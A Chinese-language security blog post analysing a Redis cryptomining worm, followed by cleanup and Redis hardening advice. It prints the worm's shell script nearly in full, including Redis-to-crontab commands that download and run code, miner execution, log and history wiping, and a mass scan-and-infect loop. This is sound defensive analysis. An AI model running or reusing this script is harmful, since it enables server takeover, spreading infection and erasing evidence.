Linux Redis自動化挖礦感染蠕蟲分析及建議
一、 背景
自從Redis未授權問題獲取Linux系統root許可權的攻擊方法的披露後,由於其易用性,利用該問題入侵Linux服務進行挖礦、掃描等的駭客行為一直層出不窮;而在眾多利用該問題入侵伺服器進行黑產行為的案例中,其中就存在一類利用該問題進行挖礦並且會利用pnscan自動掃描感染其他機器;該類攻擊一直存在,不過在近期又呈現數量增加的趨勢,在最近捕獲到多次,我們針對其做下具體的分析。
二、 漏洞說明
首先針對利用的漏洞做個說明,Redis 預設情況下,會繫結在 0.0.0.0:6379,在沒有利用防火牆進行遮蔽的情況下,將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標的情況下未授權訪問Redis以及讀取Redis的資料。攻擊者在未授權訪問Redis的情況下利用Redis的相關方法,可以成功將自己的公鑰寫入目標伺服器的 ~/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器;如果Redis服務是以root許可權啟動,可以利用該問題直接獲得伺服器root許可權。相關漏洞詳情可以參考:
以下為漏洞利用演示(上傳不了影片,播放地址:https://v.qq.com/x/page/u0661b9o772.html):
經過在ZoomEye和SHODAN檢索,可以發現分別眾多Redis服務開放在公網上,這些服務都可能成為攻擊目標。
三、 入侵分析
經過對捕獲的事件進行分析,我們發現整個入侵流程大概是包含以下幾個環節:1、掃描開放6379埠的Linux伺服器(後續感染掃描網段為1.0.0.0/16到224.255.0.0/16)
2、透過redis-cli嘗試連線Redis並執行預置在.dat檔案裡的利用命令將Redis的資料檔案修改為/var/spool/cron/root,然後透過在Redis中插入資料,將下載執行指令碼的動作寫入crontab任務
3、透過指令碼實現以上的相關行為,完成植入並啟動挖礦程式
4、再編譯安裝pnscan,繼續掃描感染下一個目標
四、 指令碼分析
整個入侵利用以及後續的感染的實現,最主要的功能都是基於透過Redis問題寫入crontab任務中下載執行的NaNd指令碼()來實現的,透過對它的分析,我們基本能夠得到整個流程的所有細節,這是一個base指令碼,我們透過解讀來分析下它的相關功能。
1. sleep 1
2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete
3. [ -f .mxff0 ] && exit 0
4. echo 0 > .mxff0
這部分程式碼只要是用作重複執行的判斷,將.mxff0檔案作為標記檔案,如果存在該檔案則代表機器上已執行指令碼,直接退出,否則寫.mxff0檔案並進行下一步動作;
5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT
設定預置動作,在指令碼退出後刪除相關檔案和指令碼自身;
6. setenforce 0 2>/dev/null
7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
8. crontab -r 2>/dev/null
9. rm -rf /var/spool/cron 2>/dev/null
10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf
11. rm -rf /tmp/* 2>/dev/null
12. rm -rf /var/tmp/* 2>/dev/null
13. rm -rf /etc/root.sh 2>/dev/null
14. sync && echo 3 > /proc/sys/vm/drop_caches
15. cat <<EOF> /etc/security/limits.conf
16. * hard nofile 100000
17. * soft nofile 100000
18. root hard nofile 100000
19. root soft nofile 100000
20. * hard nproc 100000
21. * soft nproc 100000
22. root hard nproc 100000
23. root soft nproc 100000
24. EOF
這部分主要是修改系統的配置,6、7行為關閉SELINU;
然後清空/var/spool/cron,進而判斷系統DNS伺服器是否存在8.8.8.8,沒有則新增;
11-13則清空系統tmp目錄和刪除相關檔案;
14行清空系統快取,而15-24則是修改系統的資源限制;
25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP
26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT
27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start.sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs|.sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; done
這裡再進一步的增加iptables限制6379埠只允許本地訪問,同時kill相關包含挖礦、redis客戶端、爬蟲等程式,這裡的目的也比較簡單,避免被其他駭客再次入侵,同時清除可能其他駭客入侵啟動的程式;
28. rm -rf /tmp/* 2>/dev/null
29. rm -rf /var/tmp/* 2>/dev/null
30. echo 0 > /var/spool/mail/root
31. echo 0 > /var/log/wtmp
32. echo 0 > /var/log/secure
33. echo 0 > /root/.bash_history
清除相關登入日誌、命令操作歷史;
34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”
35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”
36. if cat /etc/*release | grep -i CentOS; then
37. yum clean all
38. yum install -y -q epel-release
39. yum install -y -q $YUM_PACKAGE_NAME
40. elif cat /etc/*release | grep -qi Red; then
41. yum clean all
42. yum install -y -q epel-release
43. yum install -y -q $YUM_PACKAGE_NAME
44. elif cat /etc/*release | grep -qi Fedora; then
45. yum clean all
46. yum install -y -q epel-release
47. yum install -y -q $YUM_PACKAGE_NAME
48. elif cat /etc/*release | grep -qi Ubuntu; then
49. export DEBIAN_FRONTEND=noninteractive
50. rm -rf /var/lib/apt/lists/*
51. apt-get update -q –fix-missing
52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
53. elif cat /etc/*release | grep -qi Debian; then
54. export DEBIAN_FRONTEND=noninteractive
55. rm -rf /var/lib/apt/lists/*
56. apt-get update –fix-missing
57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
58. elif cat /etc/*release | grep -qi Mint; then
59. export DEBIAN_FRONTEND=noninteractive
60. rm -rf /var/lib/apt/lists/*
61. apt-get update –fix-missing
62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
63. elif cat /etc/*release | grep -qi Knoppix; then
64. export DEBIAN_FRONTEND=noninteractive
65. rm -rf /var/lib/apt/lists/*
66. apt-get update –fix-missing
67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
68. else
69. exit 1
70. fi
71. sleep 1
72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
73. curl -kLs > .x112 || wget -q -O .x112
74. sleep 1
75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
76. fi
這一長串的內容主要目的是下載並編譯安裝pnscan,從內容中我們可以看到對於不同作業系統的判斷然後安裝依賴的相關模組,然後才是從github下載pnscan的原始碼進行編譯安裝;至於為什麼採用編譯安裝的形式,猜測是出於相容不同系統以及每次編譯生成的pnscan的MD5都不一樣,避免形成固定特徵;
77. tname=$( mktemp )
78. OMURL=
79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL
80. NMURL=$( curl -s –upload-file $tname )
81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
這部分主要是下載挖礦程式並重新命名為.gpg,增加執行許可權,執行後刪除,同時重新上傳到/ 獲取新的連結;
82. [ -z “$NMURL” ] && NMURL=$OMURL
83. ncmd=$(basename $(mktemp))
84. sed ‘s|'”$OMURL”‘|'”$NMURL”‘|g’ < NaNd > $ncmd
85. NSURL=$( curl -s –upload-file $ncmd )
86. echo ‘flushall’ > .dat
87. echo ‘config set dir /var/spool/cron’ >> .dat
88. echo ‘config set dbfilename root’ >> .dat
89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat
90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat
91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat
92. echo ‘save’ >> .dat
93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat
94. echo ‘save’ >> .dat
95. echo ‘exit’ >> .dat
而這部分內容主要是生成新的.dat檔案,包含將原來NaNd指令碼里的裡挖礦程式的下載地址替換為上一步上傳到/ 得到的新地址,還有Redis利用的相關語句;
96. pnx=pnscan
97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
99. for x in $( seq 1 224 | sort -R ); do
100. for y in $( seq 0 255 | sort -R ); do
101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o
102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l
103. while read -r h p; do
104. cat .dat | redis-cli -h $h -p $p –raw &
105. done < .r.$x.$y.l
106. done
107. done
而步主要是呼叫pnscan去掃描子網段1.0.0.0/16到224.255.0.0/16中開放6379埠並且為Linux的目標,然後利用redis-cli執行.dat中的命令,進行下個目標的感染;這裡pnscan的-W引數值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’轉換後內容‘*1rn$4rnINFOrn’,是向目標Redis服務傳送請求獲取Redis伺服器的各種資訊和統計數值,再透過-R引數值‘6f 73 3a 4c 69 6e 75 78′(轉換後內容為os:Linux)判斷是否Linux系統。
108. echo 0 > /var/spool/mail/root 2>/dev/null
109. echo 0 > /var/log/wtmp 2>/dev/null
110. echo 0 > /var/log/secure 2>/dev/null
111. echo 0 > /root/.bash_history 2>/dev/null
112. exit 0
最後就是收尾工作,清除相關日誌和命令執行歷史,同時在指令碼退出的時候會觸發指令碼一開始用trap預置的動作,會做刪除操作,刪除相關檔案和指令碼自身(rm -rf m* NaNd tmp.* .r .dat $0)。
透過對指令碼的解讀,我們基本已經清楚整個蠕蟲的行為和入侵流程,也就是我們開始所描述的流程。
另外,透過閱讀指令碼,我們發現雖然整個入侵流程並不是多複雜,但指令碼其實有很多”工程化”的細節考慮,不得不讓人驚歎入侵者的”考慮周到”:
1、 利用.mxff0檔案做重複執行檢驗,避免指令碼的重複執行
2、 為了增加成功性,一些環境的預處理:
a) 關閉SELINUX
b) 增加8.8.8.8的DNS
c) 清空tmp目錄
d) 清空系統快取
e) 修改系統資源限制
3、 痕跡清除
a) 利用trap預置動作好在指令碼執行完成後刪除相關檔案和指令碼自身
b) 重複清除相關登入等日誌和命令執行歷史
4、 同行預防
a) 利用iptables避免Redis服務開放在公網上從而導致再次被入侵
b) 清除同行可能遺留的入侵行為,kill相關程式
5、 系統相容性
a) 判斷作業系統,針對性的執行相關命令,安裝依賴包,最大限度的提高pnscan編譯安裝的成功率
b) 關閉SELINUX,透過setenforce和修改/etc/sysconfig/selinux兩種手段實現
c) 寫入Crontab裡的下載並執行指令碼的任務,透過curl、wget、lynx三種方式實現
d) Pnscan掃描增加作業系統判斷,減少沒有必要的感染嘗試
6、 特徵去除,存活延續
a) Pnscan採用安裝編譯的方式,既提高在不同系統下的相容性,也避免形成固定的MD5特徵
b) 利用 中轉,每一次感染均生成新的連線,避免固定連結形成固定特徵
c) 下載到系統的相關檔案均採用隨機生成的檔名
正是由於入侵者種種的”考慮周到”使得他的入侵感染的成功率能夠達到的一定的層度。
五、 安全建議
病毒清理和系統恢復
我們主要參考指令碼的相關行為進行對應的行為恢復和刪除即可:
1、 關閉SELINUX,根據系統原環境和業務需要重新開啟SELINUX
2、 清空了/var/spool/cron,根據原先備份清空恢復
3、 修改/etc/resolv.conf增加DNS服務8.8.8.8,如無影響可不處理,或者刪除
4、 修改了系統資源限制(/etc/security/limits.conf),可根據備份情況恢復
5、 增加了對6379埠的Iptables規則,如果不影響業務,建議保留
6、 Kill了相關程式,檢查是否包含業務所需程式,根據情況恢復
7、 安裝了相關包,具體列表見上文,可根據情況刪除或者如無影響可保留
8、 編譯安裝了pnscan,可刪除/usr/local/bin/pnscan
9、 清除了相關日誌和tmp目錄,對系統無影響,可忽略
10、 啟動了挖礦程式和pnscan掃描感染,程式:.gpg、pnscan,直接kill
還包含了一些中間檔案,雖然指令碼包含相關刪除操作,但建議還是全域性查詢確認:.mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx
Redis服務加固
1、 如無必要,修改bind項,不要將Redis繫結在0.0.0.0上,避免Redis服務開放在外網,可以透過iptables或者騰訊雲使用者可以透過安全組限制訪問來源
2、 在不影響業務的情況,不要以root啟動Redis服務,同時建議修改預設的6379埠,大部分針對Redis未授權問題的入侵都是針對預設埠進行的
3、 配置AUTH,增加密碼校驗,這樣即使開放在公網上,如果非弱口令的情況,駭客也無法訪問Redis服務進行相關操作
4、 使用rename-command CONFIG “RENAME_CONFIG”重新命名相關命令,這樣駭客即使在連線上未授權問題的Redis服務,在不知道命令的情況下只能獲取相關資料,而無法進一步利用
六、 附錄
IOCs
1. 指令碼
2. 挖礦程式 2918ee2b69bc4e6b581c7b25f08434fe
3. 礦池域名
4. 相關檔名 .mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx
連結
1. 樣本 https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6
2. Pnscan專案地址
3. 漏洞說明
4. 漏洞利用演示 https://v.qq.com/x/page/u0661b9o772.html
5、雲鏡產品官網
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/29734436/viewspace-2156052/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Stratum挖礦協議&XMR挖礦流量分析協議
- Watchdogs利用Redis實施大規模挖礦,常見資料庫蠕蟲如何破?Redis資料庫
- 挖礦殭屍網路蠕蟲病毒kdevtmpfsi處理過程dev
- 挖礦蠕蟲肆虐,詳解雲防火牆如何輕鬆“制敵”防火牆
- 分析一個linux下的蠕蟲 (轉)Linux
- 威脅快報|Bulehero挖礦蠕蟲升級,PhpStudy後門漏洞加入武器庫PHP
- [原創]事件分析 | Linux watchdogs 感染性隱藏挖礦病毒入侵還原錄事件Linux
- Redis優化建議Redis優化
- 比特幣CPU挖礦、GPU挖礦、礦池及礦機挖礦技術原理比特幣GPU
- 新的加密貨幣挖礦病毒感染臉書Messenger加密Messenger
- [原創]Stuxnet蠕蟲(超級工廠病毒)驅動分析UX
- 以太坊原始碼分析(42)miner挖礦部分原始碼分析CPU挖礦原始碼
- IPFS挖礦開發解決方案及IPFS礦機挖礦原理及最優規劃
- CPU被挖礦,Redis竟是內鬼!Redis
- 【董天一】Filecoin協議(挖礦)協議
- linux挖礦處置Linux
- defi質押挖礦機制|LP流動性挖礦系統開發[規則分析]
- 清除Linux上的蠕蟲程式Ramen(轉)Linux
- MDEX挖礦系統開發/MDEX流動性挖礦系統開發(程式碼原理分析)
- 挖礦病毒分析(centos7)CentOS
- docker Redis 被挖礦場景復現DockerRedis
- 智慧合約流動性質押挖礦開發規則丨質押挖礦系統開發技術及邏輯分析
- 以太坊原始碼分析(16)挖礦分析原始碼
- 對尼姆達蠕蟲的詳細分析 (轉)
- DAPP/LP流動性挖礦系統開發(邏輯及功能)丨流動性挖礦原始碼交付APP原始碼
- 企鵝遭遇蠕蟲 Lupper變種盯上Linux(轉)Linux
- go-ethereum原始碼解析-miner挖礦部分原始碼分析CPU挖礦Go原始碼
- 遊戲私服捆綁傳播挖礦木馬,已感染超5000臺電腦遊戲
- Element-UI 中 Make 自動化構建分析UI
- PAXG質押挖礦節點系統開發/dapp單雙幣挖礦/流動性挖礦/詳情說明/案例分析/原始碼部署APP原始碼
- 流動性質押挖礦開發規則丨流動性質押挖礦系統開發(方案及詳情)及程式碼部署
- 某IOT蠕蟲病毒分析之UPX脫殼實戰
- 一個oracle蠕蟲病毒Oracle
- WBID/DeFi智慧合約流動性挖礦系統開發(需求及原始碼分析)原始碼
- DeFi流動性質押挖礦系統開發及馬蹄鏈質押挖礦詳細開發方案
- MDEX挖礦系統開發/MDEX流動性挖礦系統開發
- 一次Linux遭入侵,挖礦程式被隱藏案例分析Linux
- Java I/O 操作及優化建議Java優化